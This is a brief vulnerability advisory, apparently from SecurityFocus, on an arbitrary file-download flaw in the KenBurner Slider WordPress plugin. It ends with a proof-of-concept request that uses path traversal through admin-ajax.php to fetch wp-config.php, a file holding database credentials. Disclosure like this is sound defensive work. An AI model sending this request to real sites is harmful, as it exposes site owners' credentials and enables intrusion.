source: https://www.securityfocus.com/bid/69387/info

The KenBurner Slider plugin for WordPress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php